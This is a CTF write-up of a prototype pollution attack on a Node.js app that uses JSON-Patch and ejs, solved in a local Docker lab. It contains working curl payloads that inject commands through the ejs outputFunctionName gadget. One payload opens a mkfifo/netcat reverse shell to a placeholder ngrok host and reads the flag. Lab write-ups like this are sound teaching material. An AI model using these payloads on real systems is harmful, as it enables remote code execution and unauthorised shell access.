Rating: 5.0
# Basic discovery
Reading the Dockerfile, we discover the flag is in `/root/flag.txt`, there is a script `/readFlag` that can access and read it.
We also learn that connecting to the Docker, we will be the user `guest`. We have basically no access (especially no reading of /root/flag.txt)
# Local docker setup
After building the docker image locally, we can start it with port forwarding with `sudo docker run -p 127.0.0.1:1337:1337/tcp --name illusion DOCKER_IMAGE_ID`
# Calling the webapp
Trying to access the webapp, a login/password is required.
In the code we can see: users: { "admin": process.env.SECRET || "admin" }
If process.env.SECRET is not specified, login is "admin", password is "admin". When trying to solve the challenge, pwn2win gives us our custom admin password.
# Interacting with the webapp
The webapp is very simple. No button, nothing we can do on the interface.
All services are "online" by default.
We can use our admin:admin basic authentication to interact with it. Security cameras can be put offline using:
```bash
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"cameras": "offline"}' \
127.0.0.1:1337/change_status
```
# What is happening behind the scene
In the JS code there is an Object:
```js
let services = {
status: "online",
cameras: "online",
doors: "online",
dome: "online",
turrets: "online"
}
```
They write our input `{"cameras": "offline"}'` in the following, service = cameras, status = offline:
```json
{
"op": "replace",
"path": "/" + service,
"value": status
}
```
Then a library is used to update the `services` object we have previously seen:
```js
jsonpatch.applyPatch(services, patch)
```
Then, when a load the page:
```js
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})
```
`services` is sent to a template renderer to fill the status of the different variables. As we put the cameras offline, the website says so.
# Exploit
## Vector of attack
The template renderer is in ejs.
This is subject to a prototype pollution attack. => https://blog.p6.is/Web-Security-CheatSheet/
TL;DR The following example allow en RCE when the application is using ejs to render a template: `Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";`
The question is: how to pollute Object prototype?
In this webapp, we cannot do much. Only change status.
The library used for updating the Object `services`, and that is interacting with our input, is https://github.com/Starcounter-Jack
This library is protected against modifications of `__proto__`. However this protection is not enough to guard against prototype pollution! A patch has been proposed months ago to fix the vulnerability, but has never been merged: https://github.com/Starcounter-Jack/JSON-Patch/pull/262
As `services` is an Object, we can pollute the prototype of Object through: `services.constructor.prototype` (same prototype as Object).
## Testing the attack
Connecting on docker, as a guest, we cannot do much. What we can do is create a file in `/tmp`.
Let's try to create a file:
```
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \
127.0.0.1:1337/change_status
```
We must then load the website for the rendering to happen.
Checking tmp `ls /tmp` we now have a "test" file.
Well great, we can execute command, but even if we can call `cat /readFlag`, we have no way to display the information on the webapp.
## Reverse shell to the rescue
For this, I used ngrok. The aim is to have a public IP against which I can send the reverse shell, and that the server behind this public IP will then redirect all that to my VM.
Launching it with port redirection on 12345, `nc -lvp 12345` ready to get the reverse shell, we can use `mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f` inside our docker
We successfully have a reverse shell.
## The flag
We can now send the full payload:
```
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').execSync(`mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f`);x" }' \
127.0.0.1:1337/change_status
```
Browse the webapp, get the reverse shell, `cat /readFlag` and we have the flag `CTF-BR{f4k3_l0cal_fl4g_f0r_test1ng}`
I don't see the test file we created with the touch /tmp/test ?
After sending the payload:
```bash
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \
127.0.0.1:1337/change_status
```
You must visit `http://127.0.0.1:1337/`
After that you can log in the docker container by calling `sudo docker exec -ti illusion sh` (works if named illusion, as described in the writeup).
Inside the docker container, you can `ls /tmp` and you will see the file.